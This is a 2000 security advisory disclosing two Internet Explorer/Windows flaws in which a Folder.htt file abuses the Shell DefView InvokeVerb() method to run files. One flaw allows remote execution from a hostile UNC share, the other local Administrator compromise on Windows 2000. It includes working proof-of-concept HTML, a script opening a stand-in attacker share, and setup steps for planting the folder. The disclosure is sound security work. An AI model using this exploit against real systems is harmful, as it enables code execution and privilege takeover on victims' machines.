Georgi Guninski security advisory #18 - Two serious vulnerabilities have been found Microsoft products - Internet Explorer 5.5/5.x may execute arbitrary programs when visiting a web page, reading HTML based mail with Outlook, or simply browsing folders as web pages. In addition, the default installation of Windows 2000 allows Local Administrator compromise via opening local folders as web pages. In both cases a malicous person may take full control over user's computer / server. Includes proof of concept HTML code. Demonstration available here.
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Georgi Guninski security advisory #18, 2000
IE 5.5/5.x for Win98 may execute arbitrary files that can be accessed
thru Microsoft Networking. Also local Administrator compromise at least
on default Windows 2000.
Systems affected:
For remote file execution: IE 5.5,5.x/Windows 98, the files must be
accessible thru Microsoft Networking.
For local Administrator compromise on Windows 2000: default Windows 2000
installation, I have not tested with IE 5.5 installed, but believe to
work
Risk: HIGH
Date: 14 August 2000
Description:
This advisory contains two issues, but since they use common ActiveX
control and concept, I decided to post them in one advisory.
I) IE 5.x may execute arbitrary programs when visiting a web page,
reading HTML based mail with Outlook or simply browsing folders (that
may be remote) as web pages (which is the default configuration for
Windows).
II) Local Administrator compromise on default installation of Windows
2000. Have not tested with IE 5.5 installed, but believe to work. In
order to be compromised, the Administrator must open a local folder as a
web page (which is the default option when browsing folders).
In both cases a malicous person may take full control over user's
computer/server.
Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or indirect use of the
information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.
Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute
it unmodified. You may not modify it and distribute it or distribute
parts of it without the author's written permission.
Details:
General stuff:
I know browsing web sites and reading HTML mail may be dangerous, but it
turns out that browsing local or remote folders also is dangerous.
The exploits use a feature of Windows 98/2000 that allows viewing
folders as web pages due to the integration of IE in the operating
system.
This allows putting active content when browsing local/remote folder,
which turns out to be dangerous.
The way the folder looks when viewed as a web page is controlled by a
file Folder.htt located in the folder, which is a special HTML file that
may contain Active Scripting and ActiveX Objects.
If you want to view the files in the folder, you must use an ActiveX
Control - Shell DefView, which basically contains the functionality of
the old Explorer.
The Shell DefView Control has an interesting method - InvokeVerb, which
is used to perform actions with the currently selected file - for
example showing its properties and the most interesting part -
opening/executed it.
It has a string parameter - the action to perform on a file or folder.
Microsoft has tried to secure it - it yields a security error if you
pass an argument to it and that is reasonable.
But amazingly, if you just do InvokeVerb() with no parameters - it
executes the default action on the file/folder and the action is Open
(Execute).
So, to exploit this we create a folder and place a malicous file that we
want to execute - for example "a.bat". Also in that folder, we put the
active file Folder.htt.
The code of Foder.htt:
----------------------------------------
<html>
<body >
<script>
setTimeout("f()",2000);
function f() {
FileList.focus();
FileList.FocusedItem.InvokeVerb();
}
</script>
<H1>Hello World<BR>Written by Georgi Guninski</H1>
<object id=FileList border=0 tabindex=1
classid="clsid:1820FED0-473E-11D0-A96C-00C04FD705A2">
</object>
</body>
</html>
----------------------------------------
So what the code does:
FileList.focus() focuses the first file in our folder - in our example
a.bat. Note: a.bat may be not the first file in our folder, this depends
on the arrangement of the icons in the folder (default is by name). But
to circumvent this we may put additional files with different
names/dates/extensions so whatever the arrangement is, our target file
is first in the list.
FileList.FocusedItem.InvokeVerb() does the real job - it opens(executes)
the focused file.
So we create a customized folder with malicous content, place it
somewhere probably remote and wait or force a victim to open it.
Demonstration.
ac.zip is available at: http://www.nat.bg/~joro/ac.zip
For I) IE 5.x may execute arbitrary files when visiting a web page,
reading HTML based mail with Outlook or simply browsing folders (that
may be remote) as web pages (which is the default configuration for
Windows).
To test it remotely with Windows 98:
Unzip ac.zip in a UNC share for example: \\HOSTILEUNCORIP\SHARE
Browse \\HOSTILEUNCORIP\SHARE as a web page from IE.
Or open a web page containing:
-----
<SCRIPT>
window.open("\\\\HOSTILEUNCORIP\\SHARE");
</SCRIPT>
-----
Note: Sometimes the remote test does not work the first time, I don't
know why. Try again (browse the folder again or reload the web page) if
it does not work the first time.
For II) Local Administrator compromise on default installation of
Windows 2000.
Have not tested with IE 5.5 installed, but believe to work. In order to
be compromised, the Administrator must open a local folder as a web page
(which is the default option when browsing folders).
A local user may create a customized folder and if the the Administrator
open it as a web page (which is default) then the administrator account
is compromised.
It is amazing that when the Administrator opens the folder a security
warning
"...may be unsafe...Do you want to allow it to be initialized an
accessed by scripts?" with "Yes/No" buttons.
Whatever button you choose, the content is executed. I find this funny.
I would appreciate if someone test this with IE 5.5 on Windows 2000 and
let me know if it works.
As an ordinary user, unzip ac.zip in any folder, for example ac.
1) Open ac from My Computer
2) Select View->Customize this Folder->Next->Customize->Choose or
edit...->Next
3) Select Choose a template->Current->Next->Finish
Wait for the Administrator to open the folder as a web page.
Workaround: Do not browse folders as web pages.
I know the remote attack may be stopped by a firewall that blocks
Microsoft Networking and I encourage configuring the firewall in such
way.
But I think that application holes must be fixed at application level
and not rely on firewall behavior.
Regards,
Georgi Guninski
http://www.nat.bg/~joro
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